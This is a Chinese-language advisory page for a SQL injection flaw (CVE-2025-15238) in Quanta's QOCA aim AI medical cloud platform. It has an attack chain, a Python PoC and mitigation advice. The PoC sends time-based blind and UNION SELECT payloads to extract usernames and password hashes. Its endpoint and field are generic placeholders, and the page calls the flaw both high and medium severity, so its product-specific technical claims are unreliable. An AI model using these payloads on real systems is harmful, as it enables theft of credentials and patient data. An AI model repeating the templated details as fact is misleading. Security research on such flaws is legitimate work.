CVE-2025-15238 | QOCA aim AI医疗云平台SQL注入漏洞

漏洞信息

漏洞编号

CVE-2025-15238

漏洞类型

SQL注入

CVSS评分

6.5 中危

攻击向量

网络 (AV:N)

认证要求

低权限 (PR:L)

用户交互

无需交互 (UI:N)

影响产品

QOCA aim AI Medical Cloud Platform (Quanta Computer)

漏洞概述

CVE-2025-15238是存在于QOCA aim AI医疗云平台中的一个高危SQL注入漏洞。该平台由广达电脑(Quanta Computer)开发，主要用于医疗领域的AI数据处理和云端管理。漏洞允许经过低权限认证的远程攻击者注入任意SQL命令，从而读取数据库中的敏感内容，包括患者医疗记录、用户账户信息、系统配置数据等机密信息。由于该平台应用于医疗环境，泄露的数据可能涉及患者隐私和敏感健康信息，具有较高的安全风险。攻击者无需用户交互即可发起攻击，通过构造特制的SQL payloads绕过现有输入验证机制，实现未授权数据库访问。CVSS 3.1评分为6.5，属于中等严重程度，但考虑到医疗数据的敏感性，实际危害可能被低估。

技术细节

该SQL注入漏洞源于QOCA aim AI医疗云平台在处理用户输入时未对特殊SQL字符进行充分的过滤和参数化处理。漏洞存在于平台的身份认证模块或数据查询接口中，攻击者可以通过在HTTP请求参数中注入SQL语句片段，如使用单引号(')、UNION SELECT、AND条件判断等语法，绕过应用层的输入验证。成功利用此漏洞后，攻击者能够：(1) 枚举数据库结构和表名；(2) 提取用户凭证哈希值；(3) 读取存储在数据库中的敏感医疗记录；(4) 在某些配置下可能实现操作系统命令执行。漏洞的利用需要攻击者拥有有效的低权限账户，这可能是通过默认凭据或社会工程学手段获取。由于SQL注入直接作用于数据库层，传统的Web应用防火墙(WAF)可能无法完全拦截所有变种攻击。

攻击链分析

STEP 1

Reconnaissance

攻击者识别目标系统为QOCA aim AI医疗云平台，通过公开情报收集确定攻击面和入口点

STEP 2

Credential Acquisition

攻击者获取低权限用户凭据，可能通过默认密码、暴力破解或社会工程学手段获得

STEP 3

Authentication

使用获得的低权限账户登录系统，建立有效会话

STEP 4

SQL Injection Payload Delivery

在API请求参数中注入恶意SQL语句，如使用UNION SELECT或时间盲注技术

STEP 5

Database Enumeration

利用SQL注入漏洞枚举数据库结构、表名和列信息

STEP 6

Data Exfiltration

提取敏感数据，包括用户凭证、患者医疗记录、系统配置等机密信息

STEP 7

Persistence/Impact

攻击者可能利用窃取的凭据进一步横向移动或对医疗数据进行处理造成隐私泄露

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

# CVE-2025-15238 SQL Injection PoC
# Target: QOCA aim AI Medical Cloud Platform
# Type: Time-based Blind SQL Injection

import requests
import time

TARGET_URL = "https://vulnerable-server.com/api/endpoint"
LOGIN_URL = "https://vulnerable-server.com/api/auth/login"

def login(username, password):
    """Authenticate with low-privilege account"""
    session = requests.Session()
    login_data = {
        "username": username,
        "password": password
    }
    response = session.post(LOGIN_URL, json=login_data)
    return session if response.status_code == 200 else None

def extract_db_version(session):
    """Extract database version using time-based blind SQLi"""
    # SQL Injection payload for MySQL/MariaDB
    payload = "' AND (SELECT CASE WHEN (1=1) THEN SLEEP(5) ELSE 0 END)-- -"
    
    headers = {
        "X-Requested-With": "XMLHttpRequest",
        "Content-Type": "application/json"
    }
    
    data = {
        "parameter": payload
    }
    
    start_time = time.time()
    response = session.post(TARGET_URL, json=data, headers=headers)
    elapsed = time.time() - start_time
    
    if elapsed >= 5:
        print("[+] SQL Injection confirmed! Database is vulnerable.")
        return True
    return False

def extract_data(session):
    """Extract sensitive data using UNION-based SQL injection"""
    # Example: Extract usernames and password hashes
    union_payload = "' UNION SELECT NULL,username,password_hash,NULL FROM users-- -"
    
    headers = {
        "X-Requested-With": "XMLHttpRequest",
        "Content-Type": "application/json"
    }
    
    data = {
        "parameter": union_payload
    }
    
    response = session.post(TARGET_URL, json=data, headers=headers)
    return response.text

if __name__ == "__main__":
    print("CVE-2025-15238 PoC - QOCA aim AI Medical Cloud Platform SQL Injection")
    print("=" * 70)
    
    # Step 1: Login with low-privilege account
    session = login("lowpriv_user", "password123")
    if not session:
        print("[-] Authentication failed!")
        exit(1)
    
    print("[+] Successfully authenticated with low-privilege account")
    
    # Step 2: Verify SQL injection vulnerability
    if extract_db_version(session):
        print("[+] Extracting database contents...")
        data = extract_data(session)
        print(f"[+] Extracted data: {data}")

影响范围

QOCA aim AI Medical Cloud Platform (版本信息待官方确认)

防御指南

临时缓解措施

在官方补丁发布前，建议采取以下临时缓解措施：(1) 限制对API接口的网络访问，仅允许受信任的IP地址访问；(2) 增强用户认证机制，启用多因素认证(MFA)防止凭据被盗用；(3) 监控Web服务器和数据库日志，密切关注异常的SQL语法模式；(4) 对现有账户密码进行强制更新，避免使用默认或弱密码；(5) 考虑暂时禁用非必要的API端点以减少攻击面；(6) 与安全团队合作部署自定义规则以检测SQL注入特征。